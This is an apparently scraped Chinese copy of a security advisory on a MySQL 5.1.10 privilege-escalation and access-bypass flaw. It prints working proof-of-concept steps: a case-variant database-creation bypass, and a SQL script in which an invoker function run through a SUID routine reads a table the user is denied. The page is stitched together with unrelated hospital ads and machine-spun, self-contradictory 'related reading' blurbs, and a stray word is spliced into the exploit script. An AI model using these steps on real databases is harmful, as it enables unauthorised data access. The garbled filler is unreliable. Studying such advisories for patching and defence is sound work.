权限提升及安全限制绕过漏洞牛

机床配附件及维修2021年09月06日

受影响系统:

MySQL AB MySQL = 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库

$ mysql -h rver -u sample -p -A sample

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \\g.

Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql create database another;

ERROR 1044: Access denied for user \'sample\'@\'%\' to database \'another\'

mysql create database sAmple;

Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warnings

drop database if exists mysqltest1;

drop database if exists mysqltest2;

drop function if exists f_suid;

--enable_warnings

# Prepare playground

create database mysqltest1;

create database mysqltest2;

create user malory@localhost;

grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return 0;

grant execute on function test.f_suid to malory@localhost;

use mysqltest2;

# Create table in which malory@localhost will be interested but to which

# he won\'t have any access

create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

执着 # Correct malory@localhost don\'t have access to mysqltest2.t1

--error ER_TABLEACCESS_DENIED_ERROR

select * from mysqltest2.t1;

# Create function which will allow to exploit security hole

delimiter |;

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user();

set @b:= (select count(*) from mysqltest2.t1);

return 0;

end

delimiter ;

# Again correct

--error ER_TABLEACCESS_DENIED_ERROR

select f_evil();

select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer, so malory@locahost gets all info that he wants

select test.f_suid(f_evil());

select @a, @b;

connection default;

drop user malory@localhost;

drop database mysqltest1;

drop database mysqltest2;

建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

达州白癜风医院
北京医院妇科哪好
艾拉莫德片有什么作用
相关阅读
卵巢功能有所改善能逆转吗?

导读: 乳腺的机能包含产生胎盘和激素性激素。乳腺机能有所提高,不仅都...

2023-10-07
碧桂园成功发售5亿元公司债 票面利率4.5%

北京商报讯(记者 王寅浩)5月底20日隔日,万科发布公告称,失败出版2022年...

2023-09-20
《帝国4》公布新赛季中文预告“地图怪物”来袭

《IV4》发布新本赛季英文版MV“图表怪兽”来袭 《IV4》第二本赛季还有一个...

2023-09-11
研究100+小红书热门标题,我总结小红书标题的万能关系式

编辑导语:俗话说得好,书名是一篇文里面的胸部,一个好的书名是非常举足...

2023-09-10
科学安排教学工作 及时公开发表提示信息 北京市教委部署近期高校教育教学工作

央广网北京6月13日消息 为好处地应付新冠鼠疫防控背景下全国高校管理面临...

2023-09-06
上海社会面新增+2!7同月前各区每周末将安排一次社区筛查

时至今日(6翌年15日)17:00,南京闭幕新冠心肌梗塞禽流感安全性评估社会日...

2023-09-05
友情链接